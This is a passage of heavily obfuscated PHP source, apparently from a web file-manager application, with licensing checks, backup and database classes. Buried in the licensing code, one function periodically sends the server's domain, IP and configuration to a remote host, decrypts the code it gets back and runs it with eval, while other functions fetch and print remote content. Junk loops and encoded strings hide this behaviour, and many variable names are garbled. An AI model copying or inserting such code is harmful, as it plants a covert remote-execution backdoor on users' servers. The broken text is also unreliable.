!1, $ڜ[203]); } $Ь = array($ڜ[204], $ڜ[205]); if (in_array($, $Ь)) { if ($this->lszh062d97ab == $ڜ[104] && isset($ɤ[$ڜ[206]])) { show_json(LNG($ڜ[202]), !1, $ڜ[203]); die; } $ = $this->hdxu117184c0(); if ($ != intval($ڜ[207])) { if ($ <= Model($ڜ[119])->count()) { show_json(LNG($ڜ[208]), !1, $ڜ[203]); die; } } } } private function ebgd6fb01a3e() { $ =& $_SERVER[]; $ߤ =& $_SERVER[⼦]; $˓ɡ = array($ߤ[116], $ߤ[209]); $ܼ = $[629]; if (!$ܼ) { die; } if (!_get($GLOBALS, $ߤ[113]) || !isset($_GET[$ߤ[210]])) { return; } if (!in_array($_SERVER[$ߤ[24]], $˓ɡ)) { return; } $Ʋΰ = $ߤ[211]; $Ʋΰ = $this->ojsw706dbb57($Ʋΰ, $ߤ[212]); $Ʒ = stream_context_create(array($ߤ[213] => array($ߤ[214] => $ߤ[215], $ߤ[216] => 3))); $ؖ = $[669]; if (strlen($ؖ) < $[613]) { return; } $؝ = @file_get_contents($Ʋΰ, !1, $Ʒ); header($ߤ[217]); $ţ = $[670]; while (strlen($ţ) < $[613]) { if (!$ţ) { break; } $ţ++; } if ($؝ && strstr($؝, $ߤ[218])) { echo $؝; } die; } public function myxrb13d68b1($) { $ݷ =& $_SERVER[]; $ =& $_SERVER[⼦]; if ($this->lszh062d97ab == $[219]) { return $; } $ = array($[220] => $[221], $[222] => $[221], $[223] => $[221], $[224] => $[221], $[225] => $[226], $[227] => $[226], $[228] => $[226], $[229] => $[226], $[230] => $[226], $[231] => $[226], $[232] => $[226], $[233] => $[226], $[234] => $[226], $[235] => $[226], $[236] => $[226], $[237] => $[226]); $ж = explode($[238], _get($this->vwzf0fa51ad4, $[110], $[6])); $ = $ݷ[671]; if (strlen($) < $ݷ[617]) { die; } $ = array(); $ݠ = $ݷ[672]; foreach ($ as $ => $ޔ) { if ($ޔ == $[221] && substr($this->lszh062d97ab, 0, 1) == $[221]) { continue; } if (!in_array($, $ж)) { $[] = $; } } foreach ($ as $) { unset($[$]); } return $; } private function cnkg90049c38() { $ =& $_SERVER[⼦]; if ($this->lszh062d97ab != $[104]) { $GLOBALS[$[83]][$[87]][$[239]] = $[199]; return; } $GLOBALS[$[83]][$[240]] = $[191]; if (Model($[241])->get($[63]) != $[199]) { Model($[241])->set($[63], $[199]); } } public function oirn3c9869c0() { $÷ =& $_SERVER[]; return $_SERVER[⼦][242]; $ʂ = $÷[673]; if (strlen($ʂ) < $÷[394]) { return; } } private function wvjz210bbddd() { $ѱ =& $_SERVER[]; $׍ =& $_SERVER[⼦]; $Ձ = array($׍[243], $׍[244], $׍[245]); $ƒ = $׍[246] . md5($׍[247]); if ($this->lszh062d97ab == $׍[104] || !_get($GLOBALS, $׍[113])) { return; } if (!in_array($_SERVER[$׍[24]], $Ձ)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($׍[248], $׍[249]), $ƒ); if ($ && time() - $ < intval($׍[250])) { return; } call_user_func(array($׍[248], $׍[133]), $ƒ, time()); $ = $ѱ[674]; $ = Model($׍[33])->get($׍[101]); $ = array($׍[145] => Model($׍[33])->get($׍[181]), $׍[158] => $this->lszh062d97ab, $׍[155] => $_SERVER[$׍[156]], $׍[157] => Model($׍[33])->get($׍[125]), $׍[99] => md5($_SERVER[$׍[100]] . $), $׍[148] => $׍[130], $׍[151] => $_SERVER[$׍[152]]); $ʠ = $ѱ[675]; $Ж = $this->vfna16763856($׍[251], $); $ = $ѱ[676]; if (!$) { return; } if (!is_array($Ж)) { return; } if ($Ж[$׍[145]] && $Ж[$׍[252]]) { if ($this->oudff095d4ba($Ж[$׍[252]]) == $[$׍[145]]) { return; } } $this->fnuo1fb2d5cf(); if ($this->oudff095d4ba($Ж[$׍[252]]) != $[$׍[145]]) { $ڪʒ = array($׍[176] => $, $׍[177] => $_SERVER[$׍[100]], $׍[178] => this_url(), $׍[153] => $_SERVER[$׍[154]]); $֦ = $this->nmyp731ec7bd(json_encode($ڪʒ)); $Ж = $this->vfna16763856($׍[179] . $֦); if ($Ж && is_array($Ж) && isset($Ж[$׍[252]])) { $ = $this->clzsecc6a5df($Ж[$׍[252]], 2); if ($) { $ = $this->oudff095d4ba($); } if ($) { try { @eval($); } catch (Exception $ܠ) { } } } } } private function vfna16763856($ѱ = '', $ = array(), $ơ = 5) { $݆ =& $_SERVER[]; $ê =& $_SERVER[⼦]; $ = $ê[253]; $ = $this->ojsw706dbb57($, $ê[254]); $ = $ . $ѱ; if ($ && is_array($)) { $ = $ . $ê[255] . http_build_query($); } if ($ === -1) { return $; } $ = stream_context_create(array($ê[213] => array($ê[216] => $ơ, $ê[214] => $ê[256]), $ê[257] => array($ê[258] => !1, $ê[259] => !1))); $ڈ = $݆[677]; if (strlen($ڈ) < $݆[617]) { return; } $ = @file_get_contents($, !1, $); return json_decode($, !0); $Ѳ = $݆[678]; $ٖ = $݆[679]; } private function hdxu117184c0() { $ڰ =& $_SERVER[]; $њ =& $_SERVER[⼦]; $Ӄ = array($њ[260] => $њ[261], $њ[262] => $њ[263], $њ[264] => $њ[265], $њ[266] => $њ[267], $њ[268] => $њ[269], $њ[270] => $њ[207], $њ[271] => $њ[207], $њ[272] => $њ[261], $њ[273] => $њ[263], $њ[274] => $њ[265], $њ[275] => $њ[276], $њ[277] => $њ[267], $њ[278] => $њ[279], $њ[280] => $њ[269], $њ[281] => $њ[282], $њ[283] => $њ[284], $њ[285] => $њ[286]); $ž = $ڰ[680]; while ($ž < $ڰ[613]) { if ($ž >= 0) { break; } $ž++; } $ˈ = $Ӄ[$this->lszh062d97ab]; $쵌ѧ = $ڰ[681]; $ˈ = intval($ˈ ? $ˈ : $њ[261]); $ύ = _get($this->vwzf0fa51ad4, $њ[287]); $ = $ڰ[682]; while ($ < $ڰ[394]) { if ($ >= 0) { break; } $++; } $ύ = $ύ ? intval($ύ) : 0; $ɶ = $ڰ[683]; if (strlen($ɶ) < $ڰ[613]) { return; } return $ˈ + $ύ; } public function zodkd0c3a1e7($Υʤ) { $ =& $_SERVER[]; $ =& $_SERVER[⼦]; $߿ = $this->hdxu117184c0(); $߷ = $[684]; while ($߷ < $[624]) { if ($߷ >= 0) { break; } $߷++; } if ($Υʤ[$[288]] == $[191]) { return; } if ($߿ >= intval($[207])) { return; } $俳 = Model($[119])->count(); $Ä = $[685]; if (!$Ä) { return; } if ($俳 <= $߿) { return; } $ = Model($[119])->field($[288])->limit($߿)->select(); $ר = $[686]; if (!$ר) { die; } $ = array_to_keyvalue($, $[6], $[288]); $Ԧ = $[687]; if (!in_array($Υʤ[$[288]], $)) { show_json($[289], !1, $[203]); } } public function isqr4a4e4122() { $ =& $_SERVER[]; $DZ =& $_SERVER[⼦]; if (!_get($GLOBALS, $DZ[113]) || mt_rand(1, 100) > 20) { return; } $ = $DZ[211]; $ = $this->ojsw706dbb57($, $DZ[212]); $ց = $[688]; while ($ց < $[607]) { if ($ց >= 0) { break; } $ց++; } $ = stream_context_create(array($DZ[213] => array($DZ[214] => $DZ[215], $DZ[216] => 3))); $랹 = @file_get_contents($, !1, $); echo $DZ[290] . hash_encode($랹) . $DZ[291]; $ҍ = $[689]; if (!$ҍ) { die; } } private function zphbbfae25ca($Ȗ־, $Ǚ, $ = 3) { $ޅ =& $_SERVER[]; $ =& $_SERVER[⼦]; usleep(1); $Ȗ־ = trim($Ȗ־); $ = $ޅ[690]; $ľ = mt_rand(0, 5) . $[6]; $ = $ޅ[691]; if (strlen($) < $ޅ[617]) { return; } $ڀ = rand_string(15); $ = $ޅ[692]; if (strlen($) < $ޅ[394]) { die; } $· = $[292]; switch ($ľ) { case $[199]: $ = $this->yasq46999d1f($Ȗ־, strrev($Ǚ . $ڀ)); break; case $[191]: $ = $this->yasq46999d1f($Ȗ־, strrev($ڀ . $Ǚ)); break; $ = $ޅ[693]; while ($ < $ޅ[613]) { if ($ >= 0) { break; } $++; } case $[293]: $ = $this->yasq46999d1f($Ȗ־, base64_encode($ڀ . $Ǚ)); $ͺ = $ޅ[694]; if (!$ͺ) { return; } break; $矿 = $ޅ[695]; case $[294]: $ = $this->yasq46999d1f($Ȗ־, md5($ڀ . $Ǚ)); $䙬 = $ޅ[696]; if (!$䙬) { die; } break; $ = $ޅ[697]; while ($ < $ޅ[624]) { if ($ >= 0) { break; } $++; } case $[295]: $Ȗ־ = base64_encode($Ȗ־); $٨ = rand(0, 64); $ב = $·[$٨]; $ = $ޅ[698]; if (strlen($) < $ޅ[607]) { return; } $ת = md5($ב . md5($Ǚ . $ב) . $Ǚ); $ = $ޅ[699]; $ת = substr($ת, $٨ % 8, $٨ % 8 + 7); $ = $[6]; $ = 0; $ = $ޅ[700]; if (strlen($) < $ޅ[613]) { return; } $ = 0; $С = $ޅ[701]; $ = 0; for ($ = 0; $ < strlen($Ȗ־); $++) { $ = $ == strlen($ת) ? 0 : $; $ = ($٨ + strpos($·, $Ȗ־[$]) + ord($ת[$++])) % 64; $ = $ޅ[702]; $ .= $·[$]; } $ = hash_encode($ב . $); $֗ = $ޅ[703]; break; default: $ = $this->yasq46999d1f($Ȗ־, $Ǚ . $ڀ); $Ǹ = $ޅ[704]; if (strlen($Ǹ) < $ޅ[607]) { return; } break; } $ = strrev($ľ . $ڀ . $); $ϊ = $ޅ[705]; if ($ - 1 > 0) { $ = $this->zphbbfae25ca($, $Ǚ, $ - 1); } return $; } private function clzsecc6a5df($ڒ؆, $, $ = 3) { $ֱ =& $_SERVER[]; $ =& $_SERVER[⼦]; if (!is_string($ڒ؆) || strlen($ڒ؆) < 10) { return !1; } $ڒ؆ = trim($ڒ؆); $Ʋ = $ֱ[706]; $ڒ؆ = strrev($ڒ؆); $ = $ֱ[707]; while ($ < $ֱ[613]) { if ($ >= 0) { break; } $++; } $ = $ڒ؆[0]; $ִ = substr($ڒ؆, 1, 15); $ם = $ֱ[708]; while ($ם < $ֱ[607]) { if ($ם >= 0) { break; } $ם++; } $ڒ؆ = substr($ڒ؆, 16); $ = $ֱ[709]; $ = $[292]; switch ($) { case $[199]: $ = $this->ojsw706dbb57($ڒ؆, strrev($ . $ִ)); break; case $[191]: $ = $this->ojsw706dbb57($ڒ؆, strrev($ִ . $)); break; case $[293]: $ = $this->ojsw706dbb57($ڒ؆, base64_encode($ִ . $)); break; case $[294]: $ = $this->ojsw706dbb57($ڒ؆, md5($ִ . $)); $ð = $ֱ[710]; while ($ð < $ֱ[624]) { if ($ð >= 0) { break; } $ð++; } break; case $[295]: $ڒ؆ = hash_decode($ڒ؆); $ = $ڒ؆[0]; $ڒ؆ = substr($ڒ؆, 1); $ְ = $ֱ[711]; if (strlen($ְ) < $ֱ[607]) { die; } $͙ = strpos($, $); $듭 = md5($ . md5($ . $) . $); $듭 = substr($듭, $͙ % 8, $͙ % 8 + 7); $ = $[6]; $̕ = 0; $Ŏ = 0; $鸍 = $ֱ[712]; if (strlen($鸍) < $ֱ[624]) { return; } $ = 0; for ($̕ = 0; $̕ < strlen($ڒ؆); $̕++) { $ = $ == strlen($듭) ? 0 : $; $ = $++; $ۺ = $ֱ[713]; while (strlen($ۺ) < $ֱ[613]) { if (!$ۺ) { break; } $ۺ++; } $Ŏ = strpos($, $ڒ؆[$̕]) - $͙ - ord($듭[$]); $ԯ = $ֱ[714]; if (strlen($ԯ) < $ֱ[624]) { return; } while ($Ŏ < 0) { $Ŏ += 64; } $ .= $[$Ŏ]; } $ = base64_decode($); break; default: $ = $this->ojsw706dbb57($ڒ؆, $ . $ִ); $ = $ֱ[715]; while (strlen($) < $ֱ[617]) { if (!$) { break; } $++; } break; } if ($ - 1 > 0) { $ = $this->clzsecc6a5df($, $, $ - 1); } return $; } public function nmyp731ec7bd($ސ) { $Ѧ =& $_SERVER[]; $ =& $_SERVER[⼦]; $҈ = $this->dwrp65a385e0(); $ּ = $Ѧ[716]; if (strlen($ּ) < $Ѧ[607]) { return; } $ = $this->dwrp65a385e0(); $ѵ = $Ѧ[717]; if (strlen($ѵ) < $Ѧ[607]) { return; } $ě = ($҈ - 1) * ($ - 1); $؆ = $Ѧ[718]; if (!$؆) { die; } $ᵟ = intval(($҈ + $) / 2); $ް = $Ѧ[719]; while (1) { $ľ = $ᵟ; $䊳Ͻ = $Ѧ[720]; if (strlen($䊳Ͻ) < $Ѧ[607]) { die; } $ = $ě; $漑 = $Ѧ[721]; if (!$漑) { return; } while ($ % $ľ != 0) { $؇ = $; $ = $Ѧ[722]; if (strlen($) < $Ѧ[607]) { return; } $ = $ľ; $ڵ = $Ѧ[723]; while (strlen($ڵ) < $Ѧ[394]) { if (!$ڵ) { break; } $ڵ++; } $ľ = $؇ % $ľ; $ٖ = $Ѧ[724]; while (strlen($ٖ) < $Ѧ[607]) { if (!$ٖ) { break; } $ٖ++; } } if ($ľ == 1) { break; } else { $ᵟ++; } } $א = 2; for ($Ӛ = 0; $Ӛ < $ě * 10; $Ӛ++) { if (($ě * $Ӛ + 1) % $ᵟ == 0) { $א = intval(($ě * $Ӛ + 1) / $ᵟ); break; } } $垭 = $this->yasq46999d1f($҈ * $ . $[6], $[130]); $̫ = md5($[296] . ($҈ + $) . $[297] . $ᵟ . $[297] . $א . $[298]); $􎆍 = $this->yasq46999d1f($ސ, $̫) . $[299] . $垭; $ڄ = $Ѧ[725]; while (strlen($ڄ) < $Ѧ[617]) { if (!$ڄ) { break; } $ڄ++; } return $􎆍; } public function oudff095d4ba($گ) { $ =& $_SERVER[]; $ţ =& $_SERVER[⼦]; $ƻ܇ = explode($ţ[299], $گ); $׉ = $[726]; while ($׉ < $[394]) { if ($׉ >= 0) { break; } $׉++; } if (count($ƻ܇) != 2) { return $ţ[6]; } $ܞ = $this->ojsw706dbb57($ƻ܇[1] . $ţ[6], $ţ[130]); $⯤ = $[611]; if (!$⯤) { die; } if (!$ܞ) { return $ţ[6]; } $ܞ = intval($ܞ); $ = $[727]; if (!$) { return; } $㐽ӑ = 0; $ư = 0; $񇬊 = $[728]; while ($񇬊 < $[624]) { if ($񇬊 >= 0) { break; } $񇬊++; } for ($ = 3; $ < $ܞ; $ += 2) { if ($ܞ % $ != 0) { continue; } $㐽ӑ = $; $ƨ = $[729]; while ($ƨ < $[617]) { if ($ƨ >= 0) { break; } $ƨ++; } $ư = intval($ܞ / $); break; } $˄Й = ($㐽ӑ - 1) * ($ư - 1); $姷 = intval(($㐽ӑ + $ư) / 2); while (1) { $ = $姷; $ǮԪ = $[730]; while ($ǮԪ < $[624]) { if ($ǮԪ >= 0) { break; } $ǮԪ++; } $ = $˄Й; while ($ % $ != 0) { $ٍʚ = $; $׌ = $[731]; if (!$׌) { die; } $ = $; $ʟ = $[732]; if (strlen($ʟ) < $[394]) { return; } $ = $ٍʚ % $; $ = $[733]; if (strlen($) < $[607]) { return; } } if ($ == 1) { break; } else { $姷++; } } $ = 2; $ = $[734]; for ($ = 0; $ < $˄Й * 10; $++) { if (($˄Й * $ + 1) % $姷 == 0) { $ = intval(($˄Й * $ + 1) / $姷); break; } } $ɥ = md5($ţ[296] . ($㐽ӑ + $ư) . $ţ[297] . $姷 . $ţ[297] . $ . $ţ[298]); $缀 = $[735]; if (!$缀) { return; } $߫ = $this->ojsw706dbb57($ƻ܇[0], $ɥ); $Ӆ = $[736]; if (!$Ӆ) { die; } return $߫; } public function dwrp65a385e0() { $ =& $_SERVER[]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $݅ = array(); $ = $[737]; if (!$) { return; } $ = 1; $׬ = $[738]; if (strlen($׬) < $[613]) { die; } while ($ <= (int) sqrt($)) { $ = $; while (!0) { $++; $Ąޣ = $[739]; if (strlen($Ąޣ) < $[624]) { return; } if ($ <= 2) { $ = $; break; } else { if ($ < 2) { continue; } } $IJނ = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ == 0) { $IJނ = !1; } } if ($IJނ) { $ = $; break; } } $݅[] = $; } $ۭ = 2; for ($ = $; $ > 1; $--) { $IJނ = !0; foreach ($݅ as $݌) { if ($ % $݌ == 0) { $IJނ = !1; break; } } if ($IJނ) { $ۭ = $; break; } } return $ۭ; } public function sfcv795af8c0($, $) { $߄ =& $_SERVER[]; $œɍ =& $_SERVER[⼦]; return call_user_func(array($œɍ[8], $œɍ[300]), $, $); $ = $߄[740]; while ($ < $߄[607]) { if ($ >= 0) { break; } $++; } } public function yasq46999d1f($ċ, $) { $ =& $_SERVER[⼦]; return call_user_func(array($[301], $[302]), $ċ, $); } public function ojsw706dbb57($ٗ, $Λ) { $ =& $_SERVER[⼦]; return call_user_func(array($[301], $[303]), $ٗ, $Λ); } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $條 =& $_SERVER[]; $this->isManual(); self::$name = date($條[741]); if (!($ = Model($條[742])->lastItem())) { $ = $this->initData(); } else { self::$name = $[$條[32]]; if ($[$條[743]] == $條[89]) { self::$name = date($條[744]); $ = 0; if (isset($[$條[288]][$條[192]][$條[467]])) { $ = (int) $[$條[288]][$條[192]][$條[467]]; } if (self::$manual == 0 && $[$條[32]] == self::$name) { Model($條[742])->remove($[$條[401]]); } $ = $this->initData($, $[$條[745]]); } else { $this->checkStore($[$條[745]]); } } self::$option = $; } private function isManual() { $򯞜 = _get($GLOBALS, $_SERVER[][746], 0); $򯞜 = intval($򯞜); self::$manual = $򯞜 && $򯞜 == 1 ? 1 : 0; } private function initData($ = 0, $Č = '') { $ =& $_SERVER[]; $ = Model($[742])->config(); if ($Č && $[$[745]] != $Č) { $ = 0; } $this->checkStore($[$[745]]); if (self::$manual == 1) { self::$name .= $[11] . date($[747]); } $ڤ = array($[745] => $[$[745]], $[32] => self::$name, $[743] => 0, $[748] => $[$[748]], $[749] => self::$manual, $[288] => array($[750] => array($[743] => 0), $[751] => array($[743] => 0, $[752] => 0, $[753] => 0, $[33] => $[12], $[754] => 0, $[496] => 0), $[755] => array($[743] => 0, $[752] => 0, $[753] => 0, $[754] => 0, $[496] => 0), $[192] => array($[743] => 0, $[756] => 0, $[757] => 0, $[758] => 0, $[759] => 0, $[467] => $, $[754] => 0, $[496] => 0)), $[754] => time(), $[496] => 0); $ = Model($[742])->insert($ڤ); $ڤ[$[401]] = $; return $ڤ; } private function checkStore($ْ) { $ƞ =& $_SERVER[]; $ɓ߆ = Model($ƞ[760])->listData($ْ); Model($ƞ[760])->checkConfig($ɓ߆); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[][742])->findByName(self::$name); } return self::$option; } public static function set($늙) { $֍ =& $_SERVER[]; $޿Ԉ = self::get(); foreach ($늙 as $ => $) { $ = explode($֍[10], $); $ = count($); switch ($) { case 1: $޿Ԉ[$[0]] = $; break; case 2: $޿Ԉ[$[0]][$[1]] = $; break; case 3: $޿Ԉ[$[0]][$[1]][$[2]] = $; break; } } Model($֍[742])->update($޿Ԉ[$֍[401]], $޿Ԉ); self::$option = $޿Ԉ; return self::$option; } public function keep() { $ޔ =& $_SERVER[]; $赥 = self::get(); if ($赥[$ޔ[288]][$ޔ[750]][$ޔ[743]] == $ޔ[89]) { return; } $this->backupKeep($赥); self::set(array($ޔ[761] => 1)); } private function backupKeep($) { $ =& $_SERVER[]; if (self::$manual == 1) { return; } $̽ = Model($[742])->listData(); if (empty($̽)) { return; } $ = 0; $ = array(); foreach ($̽ as $) { if ($ >= 7) { break; } $[] = $[$[32]]; $++; } for ($ = 0; $ < 12; $++) { $[] = date($[762], strtotime("\x2d{$}\x20\155\157\x6e\164\150\x73")); } $ = array_unique($); $˄ = Model($[763])->get($[764]); foreach ($̽ as $) { if (isset($[$[749]]) && $[$[749]] == $[89]) { continue; } if (!empty($[$[32]]) && in_array($[$[32]], $)) { continue; } Model($[742])->remove($[$[401]]); $▜ = $this->backupPath($, $˄); IO::remove($▜, !1); } } private function backupPath($Ў, $䆎 = false) { $ =& $_SERVER[]; if (!$䆎) { $䆎 = Model($[763])->get($[764]); } $ވ = $Ў[$[32]]; $ʜ = substr(md5($[765] . $䆎 . $ވ), 0, 8); return "\x7b\x69\157\72{$Ў[$[745]]}\175\57\x64\x61\164\141\x62\141\x73\145\x2f\142\x61\x63\153\165\160\x2f" . $ވ . $[11] . $ʜ; } public function db() { $؊ =& $_SERVER[]; $ީ = self::get(); if ($ީ[$؊[288]][$؊[751]][$؊[743]] == $؊[89]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($؊[766] => 1)); return !0; } public function dbFile() { $Յ =& $_SERVER[]; $ = self::get(); if ($[$Յ[288]][$Յ[755]][$Յ[743]] == $Յ[89]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($Յ[767] => 1)); return !0; } public function file() { $脬 =& $_SERVER[]; $ = self::get(); if ($[$脬[288]][$脬[192]][$脬[743]] == $脬[89]) { return !0; } if (!isset($[$脬[748]]) || $[$脬[748]] == $脬[190]) { $ = new BackupFile(); if (!$->index()) { return !1; } } self::set(array($脬[768] => 1, $脬[743] => 1)); return !0; } } goto D; Fƪʏ: class DbSqlite extends DbSqliteBase { public function query($㙶) { $ܣ =& $_SERVER[]; if (!CacheLock::fileLock($ܣ[13])) { return !1; } $­ = parent::query($㙶); CacheLock::fileUnLock($ܣ[13]); return $­; } public function execute($) { $ʄ =& $_SERVER[]; if (!CacheLock::fileLock($ʄ[13])) { return !1; } $֊ = parent::execute($); CacheLock::fileUnLock($ʄ[13]); return $֊; } } class DbSqlite3 extends DbSqlite3Base { public function query($ű) { $Ƹ =& $_SERVER[]; if (!CacheLock::fileLock($Ƹ[13])) { return !1; } $۬՜ = parent::query($ű); CacheLock::fileUnLock($Ƹ[13]); return $۬՜; } public function execute($) { $Ҋ =& $_SERVER[]; if (!CacheLock::fileLock($Ҋ[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($Ҋ[13]); return $; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\x74\x68\151\x6e\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\x71" => "\75", "\156\145\x71" => "\x3c\76", "\x67\x74" => "\x3e", "\145\147\x74" => "\x3e\x3d", "\154\x74" => "\74", "\145\x6c\x74" => "\x3c\x3d", "\156\x6f\x74\154\x69\153\145" => "\x4e\117\124\x20\114\111\113\x45", "\154\x69\x6b\x65" => "\x4c\111\113\x45", "\x69\156" => "\111\116", "\156\x6f\164\x69\x6e" => "\116\117\124\40\111\116", "\x6e\x6f\x74\x20\x69\x6e" => "\116\x4f\124\40\111\116", "\142\x65\x74\x77\145\x65\x6e" => "\x42\x45\x54\127\105\x45\x4e", "\x6e\x6f\164\142\145\x74\167\x65\145\x6e" => "\116\117\124\x20\102\105\124\x57\x45\x45\x4e", "\x6e\157\164\40\142\145\x74\x77\x65\x65\156" => "\x4e\x4f\124\x20\102\105\124\x57\x45\x45\x4e"); protected $selectSql = "\123\x45\114\105\103\124\x25\104\111\123\x54\x49\116\x43\x54\x25\40\x25\x46\111\x45\114\x44\x25\40\106\x52\x4f\115\40\45\x54\101\x42\114\105\45\45\x4a\117\111\116\x25\x25\x57\x48\x45\x52\x45\x25\x25\x47\122\x4f\125\x50\45\45\110\101\x56\x49\x4e\x47\45\45\x4f\122\x44\105\x52\45\45\114\x49\x4d\111\124\x25\x20\x25\125\116\111\x4f\116\x25\x25\103\x4f\x4d\115\105\x4e\x54\x25"; protected $bind = array(); public static function getInstance() { $څ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][947], $څ); } public function factory($鐺 = '') { $ק =& $_SERVER[]; $鐺 = $this->parseConfig($鐺); if (empty($鐺[$ק[948]])) { think_exception(think_lang($ק[949])); } $this->dbType = ucwords(strtolower($鐺[$ק[948]])); $ = $ק[950] . $this->dbType; if (class_exists($)) { $֮ = new $($鐺); if ($ק[951] != strtolower($鐺[$ק[948]])) { $֮->dbType = strtoupper($this->dbType); } else { $֮->dbType = $this->_getDsnType($鐺[$ק[903]]); } } else { think_exception(think_lang($ק[952]) . $ק[953] . $); } return $֮; } public function __call($, $–) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $–); } } protected function _getDsnType($և) { $ܮؘ = explode($_SERVER[][4], $և); $݁ = strtoupper(trim($ܮؘ[0])); return $݁; } private function parseConfig($ʵƷ = '') { $ =& $_SERVER[]; if (!empty($ʵƷ) && is_string($ʵƷ)) { $ʵƷ = $this->parseDSN($ʵƷ); } elseif (is_array($ʵƷ)) { $ʵƷ = array_change_key_case($ʵƷ); $ʵƷ = array($[948] => $ʵƷ[$[954]], $[875] => $ʵƷ[$[955]], $[876] => $ʵƷ[$[956]], $[873] => $ʵƷ[$[957]], $[874] => $ʵƷ[$[958]], $[21] => $ʵƷ[$[959]], $[903] => $ʵƷ[$[960]], $[17] => isset($ʵƷ[$[961]]) ? $ʵƷ[$[961]] : array()); } elseif (empty($ʵƷ)) { if (think_config($[962]) && $[951] != strtolower(think_config($[963]))) { $ʵƷ = $this->parseDSN(think_config($[962])); } else { $ʵƷ = array($[948] => think_config($[963]), $[875] => think_config($[964]), $[876] => think_config($[965]), $[873] => think_config($[966]), $[874] => think_config($[967]), $[21] => think_config($[241]), $[903] => think_config($[962]), $[17] => think_config($[968])); } } return $ʵƷ; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $ᒢ) { $this->_linkID = $ᒢ; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($聼 = false) { $ԓ =& $_SERVER[]; static $ͩ = array(); static $ʥ = -1; if (empty($ͩ)) { foreach ($this->config as $Ҫ => $Ц) { $ͩ[$Ҫ] = explode($ԓ[50], $Ц); } } if (think_config($ԓ[969])) { if ($聼 || think_config($ԓ[388]) === !0) { $ = floor(mt_rand(0, think_config($ԓ[970]) - 1)); $ʥ = $; } else { if (is_numeric(think_config($ԓ[971]))) { $ = think_config($ԓ[971]); } else { $ = floor(mt_rand(think_config($ԓ[970]), count($ͩ[$ԓ[873]]) - 1)); } } } else { $ = floor(mt_rand(0, count($ͩ[$ԓ[873]]) - 1)); $ʥ = $; } $ = $ʥ !== -1 ? $ʥ : $; $ = array($ԓ[875] => isset($ͩ[$ԓ[875]][$]) ? $ͩ[$ԓ[875]][$] : $ͩ[$ԓ[875]][0], $ԓ[876] => isset($ͩ[$ԓ[876]][$]) ? $ͩ[$ԓ[876]][$] : $ͩ[$ԓ[876]][0], $ԓ[873] => isset($ͩ[$ԓ[873]][$]) ? $ͩ[$ԓ[873]][$] : $ͩ[$ԓ[873]][0], $ԓ[874] => isset($ͩ[$ԓ[874]][$]) ? $ͩ[$ԓ[874]][$] : $ͩ[$ԓ[874]][0], $ԓ[21] => isset($ͩ[$ԓ[21]][$]) ? $ͩ[$ԓ[21]][$] : $ͩ[$ԓ[21]][0], $ԓ[903] => isset($ͩ[$ԓ[903]][$]) ? $ͩ[$ԓ[903]][$] : $ͩ[$ԓ[903]][0], $ԓ[17] => isset($ͩ[$ԓ[17]][$]) ? $ͩ[$ԓ[17]][$] : $ͩ[$ԓ[17]][0]); return $this->connect($, $); } public function parseDSN($Бզ) { $ =& $_SERVER[]; if (empty($Бզ)) { return !1; } $¾ = parse_url($Бզ); if ($¾[$[173]]) { $捅ܭ = array($[948] => $¾[$[173]], $[875] => isset($¾[$[594]]) ? $¾[$[594]] : $[12], $[876] => isset($¾[$[972]]) ? $¾[$[972]] : $[12], $[873] => isset($¾[$[174]]) ? $¾[$[174]] : $[12], $[874] => isset($¾[$[175]]) ? $¾[$[175]] : $[12], $[21] => isset($¾[$[78]]) ? substr($¾[$[78]], 1) : $[12]); } else { preg_match($[973], trim($Бզ), $); $捅ܭ = array($[948] => $[1], $[875] => $[2], $[876] => $[3], $[873] => $[4], $[874] => $[5], $[21] => $[6]); } $捅ܭ[$[903]] = $[12]; return $捅ܭ; } protected function debug() { $ۛ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $ۛ[974]; if (think_config($ۛ[975])) { think_status($ۛ[976]); think_trace($this->queryStr . $ۛ[977] . think_status($ۛ[24], $ۛ[976], 6) . $ۛ[978], $ۛ[12], $ۛ[979]); } } protected function parseLock($쎾 = false) { $Ӯ =& $_SERVER[]; if (!$쎾) { return $Ӯ[12]; } if ($Ӯ[905] == $this->dbType) { return $Ӯ[980]; } return $Ӯ[981]; } protected function parseSet($Ȏ) { $㡠 =& $_SERVER[]; foreach ($Ȏ as $Ҝ̵ => $݂͎) { if (is_array($݂͎) && $㡠[292] == $݂͎[0]) { $֞ڡ[] = $this->parseKey($Ҝ̵) . $㡠[871] . $݂͎[1]; } elseif (is_scalar($݂͎) || is_null($݂͎)) { $֞ڡ[] = $this->parseKey($Ҝ̵) . $㡠[871] . $this->parseValue($݂͎); } } return $㡠[982] . implode($㡠[50], $֞ڡ); } protected function bindParam($, $) { $this->bind[$_SERVER[][4] . $] = $; } protected function parseBind($੦) { $੦ = array_merge($this->bind, $੦); $this->bind = array(); return $੦; } function parseKey(&$߂ǁ, $ = true) { if ($) { $߂ǁ = $this->parseKeyCheck($߂ǁ); } return $߂ǁ; } function parseKeyCheck($Հ) { $ =& $_SERVER[]; $Հ = trim($Հ); if (!preg_match($[983], $Հ)) { think_exception($[984] . $Հ); } 